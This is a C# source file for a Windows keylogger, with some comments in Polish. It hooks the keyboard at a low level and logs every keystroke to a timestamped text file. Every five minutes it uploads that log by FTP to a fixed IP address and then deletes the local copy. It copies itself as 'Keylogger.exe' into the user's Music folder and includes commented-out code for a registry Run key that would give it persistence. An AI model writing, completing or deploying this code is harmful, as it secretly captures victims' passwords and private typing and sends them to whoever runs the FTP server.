using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace WindowsFormsApplication3
{
static class Program
{
const int WH_KEYBOARD_LL = 13;
const int WH_KEYDOWN = 0x0100;
static LowLevelKeyboardProc _proc = HookCallback;
static IntPtr _hookID = IntPtr.Zero;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr GetModuleHandle(string lpModuleName);
delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
static Thread SendData;
static Stopwatch Timer;
static bool SendingData = false;
static string LogPath;
/// <summary>
///
/// </summary>
static void Main()
{
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic),"Keylogger.exe");
if (!File.Exists(path))
{
File.Copy(Application.StartupPath, path, true);
// Wpis w rejestrze Windows, aby zawsze podczas staru Windows uruchamiał program
//RegistryKey key = Registry.CurrentUser.OpenSubKey(
// "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true
// );
//key.SetValue("WindowsFormsApplication3.exe", path);
}
_hookID = SetHook(_proc);
LogPath = GetFileName();
SendData = new Thread(new ThreadStart(SendDataToFTP));
SendData.Priority = ThreadPriority.Highest;
SendData.Name = "Log making";
SendData.Start();
Application.Run();
SendData.Abort();
UnhookWindowsHookEx(_hookID);
}
/// <summary>
/// </summary>
/// <returns>Zwraca nazwe pliku</returns>
private static string GetFileName()
{
return "Log_" + DateTime.Now.ToString().Replace(':', '-') + ".txt";
}
/// <summary>
/// </summary>
/// <param name="proc">Delegat do klawiatury</param>
/// <returns>Handle</returns>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
/// <summary>
/// </summary>
static void SendDataToFTP()
{
Timer = new Stopwatch();
Timer.Start();
while (true)
{
if (Timer.Elapsed.Minutes > 5)
{
try
{
SendingData = true;
FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://192.168.0.14/" + LogPath);
request.KeepAlive = false;
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential("login", "hasło");
FileStream stream = File.OpenRead(LogPath);
byte[] buffer = new byte[stream.Length];
stream.Read(buffer, 0, buffer.Length);
Stream requestStream = request.GetRequestStream();
requestStream.Write(buffer, 0, (int)stream.Length);
requestStream.Close();
stream.Close();
File.Delete(LogPath);
LogPath = GetFileName();
}
catch
{
}
SendingData = false;
Timer.Reset();
Timer.Start();
}
}
}
/// <summary>
/// </summary>
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WH_KEYDOWN && !SendingData)
{
int code = Marshal.ReadInt32(lParam);
StreamWriter file = new StreamWriter(LogPath, true);
string k = ((Keys)code).ToString();
switch((Keys)code)
{
case Keys.RShiftKey: file.Write(" RS "); break;
case Keys.LShiftKey: file.Write(" LS "); break;
case Keys.RControlKey: file.Write(" RC "); break;
case Keys.LControlKey: file.Write(" LC "); break;
case Keys.Enter: file.WriteLine(); break;
case Keys.Space: file.Write(' '); break;
case Keys.Tab: file.Write('\t'); break;
default: file.Write(k.Length > 1 ? ' ' + k + ' ' : k); break;
}
file.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
}